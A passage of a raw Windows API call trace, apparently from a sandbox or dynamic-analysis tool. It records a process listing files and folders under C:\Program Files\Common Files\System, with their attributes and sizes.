nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0148.570] GetLastError () returned 0x12 [0148.570] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0148.570] GetLastError () returned 0x12 [0148.570] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0148.571] GetLastError () returned 0x12 [0148.571] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0148.571] FindClose (in: hFindFile=0x895338 | out: hFindFile=0x895338) returned 1 [0148.571] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.571] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0148.571] GetLastError () returned 0x12 [0148.571] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.571] GetLastError () returned 0x12 [0148.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8953f8 [0148.572] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.572] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0148.572] GetLastError () returned 0x12 [0148.572] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0148.572] FindClose (in: hFindFile=0x8953f8 | out: hFindFile=0x8953f8) returned 1 [0148.572] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.572] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0148.572] GetLastError () returned 0x12 [0148.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8953f8 [0148.574] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.575] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0148.575] GetLastError () returned 0x12 [0148.575] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0148.575] GetLastError () returned 0x12 [0148.575] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.575] GetLastError () returned 0x12 [0148.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8951b8 [0148.576] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.576] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0148.576] GetLastError () returned 0x12 [0148.576] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0148.576] GetLastError () returned 0x12 [0148.576] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0148.576] GetLastError () returned 0x12 [0148.576] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0148.577] GetLastError () returned 0x12 [0148.577] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0148.577] GetLastError () returned 0x12 [0148.577] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0148.577] FindClose (in: hFindFile=0x8951b8 | out: hFindFile=0x8951b8) returned 1 [0148.577] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.578] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0148.578] GetLastError () returned 0x12 [0148.578] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0148.578] GetLastError () returned 0x12 [0148.578] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0148.578] GetLastError () returned 0x12 [0148.578] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0148.578] GetLastError () returned 0x12 [0148.579] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0148.579] GetLastError () returned 0x12 [0148.579] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0148.579] GetLastError () returned 0x12 [0148.579] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0148.579] GetLastError () returned 0x12 [0148.579] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0148.579] GetLastError () returned 0x12 [0148.579] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0148.579] GetLastError () returned 0x12 [0148.579] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0148.579] GetLastError () returned 0x12 [0148.579] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0148.580] GetLastError () returned 0x12 [0148.580] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0148.580] FindClose (in: hFindFile=0x8953f8 | out: hFindFile=0x8953f8) returned 1 [0148.580] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.580] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0148.580] GetLastError () returned 0x12 [0148.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894ef8 [0148.583] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.584] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.584] GetLastError () returned 0x12 [0148.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8950f8 [0148.584] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.584] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0148.584] GetLastError () returned 0x12 [0148.584] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0148.584] GetLastError () returned 0x12 [0148.584] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3d5edc4 | out: 